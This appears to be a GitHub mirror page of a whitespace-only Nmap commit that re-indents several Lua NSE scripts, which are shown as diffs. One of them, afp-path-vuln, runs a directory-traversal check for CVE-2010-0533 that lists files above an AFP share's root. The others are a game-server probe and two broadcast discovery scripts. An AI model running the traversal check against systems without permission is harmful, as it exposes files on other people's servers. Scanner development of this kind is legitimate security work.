mirror of
https://github.com/nmap/nmap.git
synced 2025-12-15 20:29:03 +00:00
Re-indent some more scripts. Whitespace-only commit
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -82,26 +82,26 @@ portrule = shortport.portnumber(548, "tcp")
|
||||
-- @return table suitable for stdnse.format_output
|
||||
local function processResponse( tbl, max_count, out, count )
|
||||
|
||||
local out = out or {}
|
||||
local count = count or 0
|
||||
local out = out or {}
|
||||
local count = count or 0
|
||||
|
||||
for _, v in ipairs(tbl) do
|
||||
if ( max_count and max_count > 0 and max_count <= count ) then
|
||||
break
|
||||
end
|
||||
if ( v.name ) then
|
||||
local sfx = ( v.type == 0x80 ) and "/" or ""
|
||||
table.insert(out, v.name .. sfx )
|
||||
count = count + 1
|
||||
elseif( type(v) == 'table' ) then
|
||||
local tmp = {}
|
||||
table.insert( out, tmp )
|
||||
processResponse( v, max_count, tmp, count )
|
||||
end
|
||||
end
|
||||
for _, v in ipairs(tbl) do
|
||||
if ( max_count and max_count > 0 and max_count <= count ) then
|
||||
break
|
||||
end
|
||||
if ( v.name ) then
|
||||
local sfx = ( v.type == 0x80 ) and "/" or ""
|
||||
table.insert(out, v.name .. sfx )
|
||||
count = count + 1
|
||||
elseif( type(v) == 'table' ) then
|
||||
local tmp = {}
|
||||
table.insert( out, tmp )
|
||||
processResponse( v, max_count, tmp, count )
|
||||
end
|
||||
end
|
||||
|
||||
-- strip the outer table
|
||||
return out[1]
|
||||
-- strip the outer table
|
||||
return out[1]
|
||||
end
|
||||
|
||||
--- This function simply checks if the table contains a Directory Id (DID) of 2
|
||||
@@ -110,111 +110,111 @@ end
|
||||
-- @param tbl table containing the table as return from the Dir method
|
||||
-- @return true if host is vulnerable, false otherwise
|
||||
local function isVulnerable( tbl )
|
||||
for _, v in ipairs(tbl) do
|
||||
-- if we got no v.id it's probably a container table
|
||||
if ( not(v.id) ) then
|
||||
if ( isVulnerable(v) ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
if ( v.id == 2 ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
for _, v in ipairs(tbl) do
|
||||
-- if we got no v.id it's probably a container table
|
||||
if ( not(v.id) ) then
|
||||
if ( isVulnerable(v) ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
if ( v.id == 2 ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, response, shares
|
||||
local afp_helper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
local vulnerable = false
|
||||
local status, response, shares
|
||||
local afp_helper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
local vulnerable = false
|
||||
|
||||
local MAX_FILES = 5
|
||||
local MAX_FILES = 5
|
||||
|
||||
local afp_vuln = {
|
||||
title = "Apple Mac OS X AFP server directory traversal",
|
||||
IDS = {CVE = 'CVE-2010-0533'},
|
||||
risk_factor = "High",
|
||||
scores = {
|
||||
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
|
||||
},
|
||||
description = [[
|
||||
local afp_vuln = {
|
||||
title = "Apple Mac OS X AFP server directory traversal",
|
||||
IDS = {CVE = 'CVE-2010-0533'},
|
||||
risk_factor = "High",
|
||||
scores = {
|
||||
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
|
||||
},
|
||||
description = [[
|
||||
Directory traversal vulnerability in AFP Server in Apple Mac OS X before
|
||||
10.6.3 allows remote attackers to list a share root's parent directory.]],
|
||||
references = {
|
||||
'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
|
||||
'http://support.apple.com/kb/HT1222',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '03', day = '29'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
references = {
|
||||
'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
|
||||
'http://support.apple.com/kb/HT1222',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '03', day = '29'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
|
||||
for username, password in pairs(users) do
|
||||
for username, password in pairs(users) do
|
||||
|
||||
status, response = afp_helper:OpenSession(host, port)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
status, response = afp_helper:OpenSession(host, port)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afp_helper:Login(username, password)
|
||||
else
|
||||
status, response = afp_helper:Login(nil, nil)
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("afp-path-vuln: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afp_helper:Login(username, password)
|
||||
else
|
||||
status, response = afp_helper:Login(nil, nil)
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("afp-path-vuln: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
|
||||
status, shares = afp_helper:ListShares()
|
||||
status, shares = afp_helper:ListShares()
|
||||
|
||||
for _, share in ipairs(shares) do
|
||||
for _, share in ipairs(shares) do
|
||||
|
||||
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
|
||||
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
|
||||
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(3, "afp-path-vuln: %s", response)
|
||||
else
|
||||
if ( isVulnerable( response ) ) then
|
||||
vulnerable = true
|
||||
if(nmap.verbosity() > 1) then
|
||||
response = processResponse( response )
|
||||
local name = share .. "/../"
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
name)
|
||||
else
|
||||
response = processResponse( response, MAX_FILES )
|
||||
local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
name)
|
||||
end
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
response)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(3, "afp-path-vuln: %s", response)
|
||||
else
|
||||
if ( isVulnerable( response ) ) then
|
||||
vulnerable = true
|
||||
if(nmap.verbosity() > 1) then
|
||||
response = processResponse( response )
|
||||
local name = share .. "/../"
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
name)
|
||||
else
|
||||
response = processResponse( response, MAX_FILES )
|
||||
local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
name)
|
||||
end
|
||||
table.insert(afp_vuln.exploit_results,
|
||||
response)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( vulnerable ) then
|
||||
afp_vuln.state = vulns.STATE.EXPLOIT
|
||||
else
|
||||
afp_vuln.state = vulns.STATE.NOT_VULN
|
||||
end
|
||||
if ( vulnerable ) then
|
||||
afp_vuln.state = vulns.STATE.EXPLOIT
|
||||
else
|
||||
afp_vuln.state = vulns.STATE.NOT_VULN
|
||||
end
|
||||
|
||||
return report:make_output(afp_vuln)
|
||||
return report:make_output(afp_vuln)
|
||||
end
|
||||
|
||||
@@ -90,41 +90,41 @@ http://sourceforge.net/projects/gameq/
|
||||
-- <elem key="num players">2</elem>
|
||||
-- <elem key="max players">16</elem>
|
||||
-- <table key="settings">
|
||||
-- <elem key="Dedicated">No</elem>
|
||||
-- <elem key="Password Required">No</elem>
|
||||
-- <elem key="Time Limit">30</elem>
|
||||
-- <elem key="Points Limit">200 min.</elem>
|
||||
-- <elem key="Respawns Limit">unlimited</elem>
|
||||
-- <elem key="Respawn Delay">10 sec.</elem>
|
||||
-- <elem key="Enemies Visible On Map">No</elem>
|
||||
-- <elem key="Available Inventory Room">Yes</elem>
|
||||
-- <elem key="Identify Enemy Players">No</elem>
|
||||
-- <elem key="Available Vehicles">Yes</elem>
|
||||
-- <elem key="Vehicle Respaws Limit">unlimited</elem>
|
||||
-- <elem key="Vehicle Respawn Delay">30 sec.</elem>
|
||||
-- <elem key="Vehicle Auto Return Time">90 sec.</elem>
|
||||
-- <elem key="Vehicles Visible On Map">Yes</elem>
|
||||
-- <elem key="Team Balance">Off</elem>
|
||||
-- <elem key="Friendly Fire">On</elem>
|
||||
-- <elem key="Friends Visible On Map">Yes</elem>
|
||||
-- <elem key="Dedicated">No</elem>
|
||||
-- <elem key="Password Required">No</elem>
|
||||
-- <elem key="Time Limit">30</elem>
|
||||
-- <elem key="Points Limit">200 min.</elem>
|
||||
-- <elem key="Respawns Limit">unlimited</elem>
|
||||
-- <elem key="Respawn Delay">10 sec.</elem>
|
||||
-- <elem key="Enemies Visible On Map">No</elem>
|
||||
-- <elem key="Available Inventory Room">Yes</elem>
|
||||
-- <elem key="Identify Enemy Players">No</elem>
|
||||
-- <elem key="Available Vehicles">Yes</elem>
|
||||
-- <elem key="Vehicle Respaws Limit">unlimited</elem>
|
||||
-- <elem key="Vehicle Respawn Delay">30 sec.</elem>
|
||||
-- <elem key="Vehicle Auto Return Time">90 sec.</elem>
|
||||
-- <elem key="Vehicles Visible On Map">Yes</elem>
|
||||
-- <elem key="Team Balance">Off</elem>
|
||||
-- <elem key="Friendly Fire">On</elem>
|
||||
-- <elem key="Friends Visible On Map">Yes</elem>
|
||||
-- </table>
|
||||
-- <table key="players">
|
||||
-- <table key="player 0">
|
||||
-- <elem key="name">NoVoDondo</elem>
|
||||
-- <elem key="team">BLUE</elem>
|
||||
-- <elem key="skin"></elem>
|
||||
-- <elem key="score">71</elem>
|
||||
-- <elem key="ping">0</elem>
|
||||
-- <elem key="time"></elem>
|
||||
-- </table>
|
||||
-- <table key="player 1">
|
||||
-- <elem key="name">HeroX</elem>
|
||||
-- <elem key="team">RED</elem>
|
||||
-- <elem key="skin"></elem>
|
||||
-- <elem key="score">0</elem>
|
||||
-- <elem key="ping">11</elem>
|
||||
-- <elem key="time"></elem>
|
||||
-- </table>
|
||||
-- <table key="player 0">
|
||||
-- <elem key="name">NoVoDondo</elem>
|
||||
-- <elem key="team">BLUE</elem>
|
||||
-- <elem key="skin"></elem>
|
||||
-- <elem key="score">71</elem>
|
||||
-- <elem key="ping">0</elem>
|
||||
-- <elem key="time"></elem>
|
||||
-- </table>
|
||||
-- <table key="player 1">
|
||||
-- <elem key="name">HeroX</elem>
|
||||
-- <elem key="team">RED</elem>
|
||||
-- <elem key="skin"></elem>
|
||||
-- <elem key="score">0</elem>
|
||||
-- <elem key="ping">11</elem>
|
||||
-- <elem key="time"></elem>
|
||||
-- </table>
|
||||
-- </table>
|
||||
|
||||
author = "Marin Maržić"
|
||||
@@ -139,94 +139,94 @@ categories = { "discovery", "safe", "version" }
|
||||
-- @return ret_pos the position after the last unpacked byte
|
||||
-- @return string the unpacked string
|
||||
local unpack_str = function(str, pos)
|
||||
local ret_pos = pos + str:byte(pos)
|
||||
return ret_pos, string.sub(str, pos + 1, ret_pos - 1)
|
||||
local ret_pos = pos + str:byte(pos)
|
||||
return ret_pos, string.sub(str, pos + 1, ret_pos - 1)
|
||||
end
|
||||
|
||||
portrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, "allseeingeye", "udp")
|
||||
|
||||
action = function(host, port)
|
||||
local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 })
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 })
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
-- UDP port is open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
-- UDP port is open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
if not string.match(data, "^EYE1") then
|
||||
return
|
||||
end
|
||||
if not string.match(data, "^EYE1") then
|
||||
return
|
||||
end
|
||||
|
||||
-- Detected; extract fields
|
||||
local o = stdnse.output_table()
|
||||
local pos = 5
|
||||
-- Detected; extract fields
|
||||
local o = stdnse.output_table()
|
||||
local pos = 5
|
||||
|
||||
pos, o["game"] = unpack_str(data, pos)
|
||||
pos, o["port"] = unpack_str(data, pos)
|
||||
pos, o["server name"] = unpack_str(data, pos)
|
||||
pos, o["game type"] = unpack_str(data, pos)
|
||||
pos, o["map"] = unpack_str(data, pos)
|
||||
pos, o["version"] = unpack_str(data, pos)
|
||||
pos, o["passworded"] = unpack_str(data, pos)
|
||||
pos, o["num players"] = unpack_str(data, pos)
|
||||
pos, o["max players"] = unpack_str(data, pos)
|
||||
pos, o["game"] = unpack_str(data, pos)
|
||||
pos, o["port"] = unpack_str(data, pos)
|
||||
pos, o["server name"] = unpack_str(data, pos)
|
||||
pos, o["game type"] = unpack_str(data, pos)
|
||||
pos, o["map"] = unpack_str(data, pos)
|
||||
pos, o["version"] = unpack_str(data, pos)
|
||||
pos, o["passworded"] = unpack_str(data, pos)
|
||||
pos, o["num players"] = unpack_str(data, pos)
|
||||
pos, o["max players"] = unpack_str(data, pos)
|
||||
|
||||
-- extract the key-value pairs
|
||||
local kv = stdnse.output_table()
|
||||
o["settings"] = kv
|
||||
while data:byte(pos) ~= 1 do
|
||||
local key, value
|
||||
pos, key = unpack_str(data, pos)
|
||||
pos, value = unpack_str(data, pos)
|
||||
kv[key] = value
|
||||
end
|
||||
pos = pos + 1
|
||||
-- extract the key-value pairs
|
||||
local kv = stdnse.output_table()
|
||||
o["settings"] = kv
|
||||
while data:byte(pos) ~= 1 do
|
||||
local key, value
|
||||
pos, key = unpack_str(data, pos)
|
||||
pos, value = unpack_str(data, pos)
|
||||
kv[key] = value
|
||||
end
|
||||
pos = pos + 1
|
||||
|
||||
-- extract player info
|
||||
local players = stdnse.output_table()
|
||||
o["players"] = players
|
||||
local playernum = 0
|
||||
while pos <= #data do
|
||||
local flags = data:byte(pos)
|
||||
pos = pos + 1
|
||||
-- extract player info
|
||||
local players = stdnse.output_table()
|
||||
o["players"] = players
|
||||
local playernum = 0
|
||||
while pos <= #data do
|
||||
local flags = data:byte(pos)
|
||||
pos = pos + 1
|
||||
|
||||
local player = stdnse.output_table()
|
||||
if bit.band(flags, 1) ~= 0 then
|
||||
pos, player.name = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 2) ~= 0 then
|
||||
pos, player.team = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 4) ~= 0 then
|
||||
pos, player.skin = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 8) ~= 0 then
|
||||
pos, player.score = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 16) ~= 0 then
|
||||
pos, player.ping = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 32) ~= 0 then
|
||||
pos, player.time = unpack_str(data, pos)
|
||||
end
|
||||
local player = stdnse.output_table()
|
||||
if bit.band(flags, 1) ~= 0 then
|
||||
pos, player.name = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 2) ~= 0 then
|
||||
pos, player.team = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 4) ~= 0 then
|
||||
pos, player.skin = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 8) ~= 0 then
|
||||
pos, player.score = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 16) ~= 0 then
|
||||
pos, player.ping = unpack_str(data, pos)
|
||||
end
|
||||
if bit.band(flags, 32) ~= 0 then
|
||||
pos, player.time = unpack_str(data, pos)
|
||||
end
|
||||
|
||||
players["player " .. playernum] = player
|
||||
playernum = playernum + 1
|
||||
end
|
||||
players["player " .. playernum] = player
|
||||
playernum = playernum + 1
|
||||
end
|
||||
|
||||
port.version.name = "ase"
|
||||
port.version.name_confidence = 10
|
||||
port.version.product = "All-Seeing Eye"
|
||||
local passworded_string
|
||||
if o["passworded"] == "0" then
|
||||
passworded_string = "; no password"
|
||||
else
|
||||
passworded_string = "; has password"
|
||||
end
|
||||
port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
|
||||
port.version.name = "ase"
|
||||
port.version.name_confidence = 10
|
||||
port.version.product = "All-Seeing Eye"
|
||||
local passworded_string
|
||||
if o["passworded"] == "0" then
|
||||
passworded_string = "; no password"
|
||||
else
|
||||
passworded_string = "; has password"
|
||||
end
|
||||
port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
|
||||
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
|
||||
return o
|
||||
end
|
||||
return o
|
||||
end
|
||||
|
||||
@@ -51,27 +51,27 @@ categories = {"broadcast", "safe"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Creates a random MAC address
|
||||
--
|
||||
-- @return mac_addr string containing a random MAC
|
||||
local function randomizeMAC()
|
||||
local mac_addr = ""
|
||||
for j=1, 6 do
|
||||
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
||||
end
|
||||
return mac_addr
|
||||
local mac_addr = ""
|
||||
for j=1, 6 do
|
||||
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
||||
end
|
||||
return mac_addr
|
||||
end
|
||||
|
||||
-- Gets a list of available interfaces based on link and up filters
|
||||
@@ -80,18 +80,18 @@ end
|
||||
-- @param up string containing the interface status to filter
|
||||
-- @return result table containing the matching interfaces
|
||||
local function getInterfaces(link, up)
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
-- Listens for an incoming dhcp response
|
||||
@@ -101,113 +101,113 @@ end
|
||||
-- @param xid the DHCP transaction id
|
||||
-- @param result a table to which the result is written
|
||||
local function dhcp_listener(sock, timeout, xid, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local condvar = nmap.condvar(result)
|
||||
|
||||
sock:set_timeout(100)
|
||||
sock:set_timeout(100)
|
||||
|
||||
local start_time = nmap.clock_ms()
|
||||
while( nmap.clock_ms() - start_time < timeout ) do
|
||||
local status, _, _, data = sock:pcap_receive()
|
||||
-- abort, once another thread has picked up our response
|
||||
if ( #result > 0 ) then
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local start_time = nmap.clock_ms()
|
||||
while( nmap.clock_ms() - start_time < timeout ) do
|
||||
local status, _, _, data = sock:pcap_receive()
|
||||
-- abort, once another thread has picked up our response
|
||||
if ( #result > 0 ) then
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
local p = packet.Packet:new( data, #data )
|
||||
if ( p and p.udp_dport ) then
|
||||
local data = data:sub(p.udp_offset + 9)
|
||||
local status, response = dhcp.dhcp_parse(data, xid)
|
||||
if ( status ) then
|
||||
table.insert( result, response )
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
if ( status ) then
|
||||
local p = packet.Packet:new( data, #data )
|
||||
if ( p and p.udp_dport ) then
|
||||
local data = data:sub(p.udp_offset + 9)
|
||||
local status, response = dhcp.dhcp_parse(data, xid)
|
||||
if ( status ) then
|
||||
table.insert( result, response )
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
sock:close()
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
|
||||
local host, port = "255.255.255.255", 67
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
|
||||
timeout = (timeout or 10) * 1000
|
||||
local host, port = "255.255.255.255", 67
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
|
||||
timeout = (timeout or 10) * 1000
|
||||
|
||||
-- randomizing the MAC could exhaust dhcp servers with small scopes
|
||||
-- if ran multiple times, so we should probably refrain from doing
|
||||
-- this?
|
||||
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
|
||||
-- randomizing the MAC could exhaust dhcp servers with small scopes
|
||||
-- if ran multiple times, so we should probably refrain from doing
|
||||
-- this?
|
||||
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
|
||||
|
||||
local interfaces
|
||||
local interfaces
|
||||
|
||||
-- first check if the user supplied an interface
|
||||
if ( nmap.get_interface() ) then
|
||||
interfaces = { [nmap.get_interface()] = true }
|
||||
else
|
||||
-- As the response will be sent to the "offered" ip address we need
|
||||
-- to use pcap to pick it up. However, we don't know what interface
|
||||
-- our packet went out on, so lets get a list of all interfaces and
|
||||
-- run pcap on all of them, if they're a) up and b) ethernet.
|
||||
interfaces = getInterfaces("ethernet", "up")
|
||||
end
|
||||
-- first check if the user supplied an interface
|
||||
if ( nmap.get_interface() ) then
|
||||
interfaces = { [nmap.get_interface()] = true }
|
||||
else
|
||||
-- As the response will be sent to the "offered" ip address we need
|
||||
-- to use pcap to pick it up. However, we don't know what interface
|
||||
-- our packet went out on, so lets get a list of all interfaces and
|
||||
-- run pcap on all of them, if they're a) up and b) ethernet.
|
||||
interfaces = getInterfaces("ethernet", "up")
|
||||
end
|
||||
|
||||
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
|
||||
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
|
||||
|
||||
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
|
||||
local request_type = dhcp.request_types["DHCPDISCOVER"]
|
||||
local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
|
||||
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
|
||||
local request_type = dhcp.request_types["DHCPDISCOVER"]
|
||||
local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
|
||||
|
||||
-- we nead to set the flags to broadcast
|
||||
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
|
||||
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
|
||||
if (not(status)) then return "\n ERROR: Failed to build packet" end
|
||||
-- we nead to set the flags to broadcast
|
||||
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
|
||||
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
|
||||
if (not(status)) then return "\n ERROR: Failed to build packet" end
|
||||
|
||||
local threads = {}
|
||||
local result = {}
|
||||
local condvar = nmap.condvar(result)
|
||||
local threads = {}
|
||||
local result = {}
|
||||
local condvar = nmap.condvar(result)
|
||||
|
||||
-- start a listening thread for each interface
|
||||
for iface, _ in pairs(interfaces) do
|
||||
local sock, co
|
||||
sock = nmap.new_socket()
|
||||
sock:pcap_open(iface, 1500, false, "ip && udp && port 68")
|
||||
co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result )
|
||||
threads[co] = true
|
||||
end
|
||||
-- start a listening thread for each interface
|
||||
for iface, _ in pairs(interfaces) do
|
||||
local sock, co
|
||||
sock = nmap.new_socket()
|
||||
sock:pcap_open(iface, 1500, false, "ip && udp && port 68")
|
||||
co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result )
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:bind(nil, 68)
|
||||
socket:sendto( host, port, packet )
|
||||
socket:close()
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:bind(nil, 68)
|
||||
socket:sendto( host, port, packet )
|
||||
socket:close()
|
||||
|
||||
-- wait until all threads are done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
-- wait until all threads are done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
local response = {}
|
||||
-- Display the results
|
||||
for i, r in ipairs(result) do
|
||||
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str))
|
||||
for _, v in ipairs(r.options) do
|
||||
if(type(v['value']) == 'table') then
|
||||
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
||||
else
|
||||
table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
|
||||
end
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
local response = {}
|
||||
-- Display the results
|
||||
for i, r in ipairs(result) do
|
||||
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str))
|
||||
for _, v in ipairs(r.options) do
|
||||
if(type(v['value']) == 'table') then
|
||||
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
||||
else
|
||||
table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
|
||||
end
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
@@ -41,61 +41,61 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"discovery", "safe", "broadcast"}
|
||||
|
||||
prerule = function()
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Generates a raw PIM Hello message.
|
||||
--@return hello Raw PIM Hello message
|
||||
local helloRaw = function()
|
||||
-- Version: 2, Type: Hello (0)
|
||||
local hello_raw = bin.pack(">C", 0x20)
|
||||
-- Reserved
|
||||
hello_raw = hello_raw.. bin.pack(">C", 0x00)
|
||||
-- Checksum: Calculated later
|
||||
hello_raw = hello_raw.. bin.pack(">S", 0x0000)
|
||||
-- Options (TLVs)
|
||||
-- Hold time 1 second
|
||||
hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01)
|
||||
-- Generation ID: Random
|
||||
hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456))
|
||||
-- DR Priority: 1
|
||||
hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01)
|
||||
-- State fresh capable: Version = 1, interval = 0, Reserved
|
||||
hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00)
|
||||
-- Calculate checksum
|
||||
hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
|
||||
-- Version: 2, Type: Hello (0)
|
||||
local hello_raw = bin.pack(">C", 0x20)
|
||||
-- Reserved
|
||||
